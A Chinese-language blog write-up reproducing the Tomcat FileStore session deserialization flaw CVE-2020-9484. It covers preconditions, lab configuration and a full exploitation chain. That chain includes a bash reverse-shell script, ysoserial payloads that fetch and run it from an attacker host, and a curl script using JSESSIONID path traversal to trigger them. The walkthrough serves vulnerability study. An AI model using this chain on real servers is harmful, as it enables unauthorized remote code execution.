vlambda博客
学习文章列表

Tomcat FileStore Session(CVE-2020-9484)持久化反序列化漏洞复现

漏洞版本


10.0.0-M1 - 10.0.0-M4

9.0.0.M1 - 9.0.34

8.5.0 - 8.5.54

7.0.0 - 7.0.103


漏洞原理

一、Attacker能够上载具有任意内容的文件/控制文件名,并且知道其上传的位置;

二、PersistentManager确认已启用,因为此配置在利用FileStore;

三、PersistentManager配置与sessionAttributeValueClassNameFilter="null"(默认下使用了SecurityManager)或者有足够宽的滤波器把攻击者发送的对象要被反序列化。


注意:在默认配置中,Tomcat运行时也开启StandardManager。

在某些情况下,管理员可以选择PersistentManager通过编辑conf/context.xml文件来配置使用。


讲一下什么是PersistentManager?

Tomcat使用“ Manager”一词来描述进行会话管理的组件会话用于保留客户端请求之间的状态,并且关于如何执行此操作有多个决策。例如:


  • 会话信息存储在哪里?在内存还是磁盘上?

  • 它以哪种形式存储?JSON,序列化对象等

  • 会话ID如何生成?

  • 我们要保留哪些会话属性?

Tomcat提供了两种可以使用的实现:

  • org.apache.catalina.session.StandardManager(默认)

  • org.apache.catalina.session.PersistentManager

比如standardManager会持续讲会话保存在内存中,但是当tomcat关闭时它将把会话存储在磁盘上的序列化对象中(SESSIONS.ser默认情况下命名为“ ”)。


和以上有一点不同,在PersistentManager启动(org.apache.catalina.session.PersistentManager)时,会话在容器重新启动后也会持续存在,它会保留在磁盘上,以便于进行恢复(实现容错)。此配置将较少交互使用的会话移出到磁盘,减少了保留在内存中的会话数(减少内存使用量)

当tomcat收到带有JSESSIONID、cookie的HTTP请求时,它将要求Manager查看该会话是否已经存在。它会先检入内存,然后再检查磁盘上是否不存在。当它在磁盘上找到会话时,将对其进行检索和反序列化以从中解析会话信息。


可以指定要存储交换的会话的位置和方式。Tomcat提供了两种选择:

  • FileStore:指定磁盘上的目录,每个交换的会话将在该目录中存储为文件,其名称基于会话ID

  • JDBCStore:在数据库中指定一个表,每个交换的会话将在其中存储为单独的行


环境搭建与配置

环境:

操作系统Win10,JDK 11.0.8


配置:

1、在tomcat官网下载tomcat10.0.0-M4版本,解压后修改context.xml配置文件,在配置文件中添加以下标签开启session持久化功能:

 <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore" directory="C:/Users/hyx19/Downloads/"></Store>    </Manager>

当没有Manager标签写入context.xml时,默认下StandardManager将被使用。


2、这里directory可以为任意路径,因为后面我们可以通过路径穿越来访问任意目录下的文件;


3、下载groovy-2.3.9.jar,放入tomcat的lib目录中,点击bin/startup.bat即可启动tomcat服务器。

注意:tomcat的默认端口是8080与burpsuite的默认代理端口冲突,如果被占用将启动失败,经常用burpsuite的童鞋记得关闭或者修改代理端口。



漏洞复现

一、首先使用ysoserial来生成恶意序列化数据

注意文件必须以.session结尾


二、执行命令

命令执行成功!


以上是一个漏洞介绍,由此我们也可以获取一个反向Shell,以取得更大的成果

一、创建一个Payload.sh


#!/bin/bashbash -c "bash -i >& /dev/tcp/<MY KALI IP>/6666 0>&1"

二、使用ysoserial,创建三个文件

1、下载 downloadPayload.session


java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 'curl http://<MY KALI IP>/payload.sh -o /tmp/payload.sh' > downloadPayload.session

2、赋予操作 chmodPayload.session


java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 "chmod 777 /tmp/payload.sh" > chmodPayload.session

3、执行文件 executePayload.session


java -jar ysoserial-master-30099844c6-1.jar CommonsCollections2 'bash /tmp/payload.sh' > executePayload.session


然后我们可以一个接一个地发出curl命令来执行三个操作,也可以做一个的bash脚本来自动执行这些操作。


curl.sh

#!/bin/bashcurl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload' -F 'image=@downloadPayload.session'curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/downloadPayload'sleep 1curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload' -F 'image=@chmodPayload.session'curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/chmodPayload'sleep 1curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload' -F 'image=@executePayload.session'curl http://target.demo:8080/upload.jsp -H 'Cookie:JSESSIONID=../../../opt/samples/uploads/executePayload'

当现在这个文件夹中有了这些文件后,我们在VPS上设置一个反向监听。

执行curl脚本,就会获得一个shell了。

由于是本地测试,呈现效果如下:


漏洞新闻来源:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9484

https://tomcat.apache.org/security.html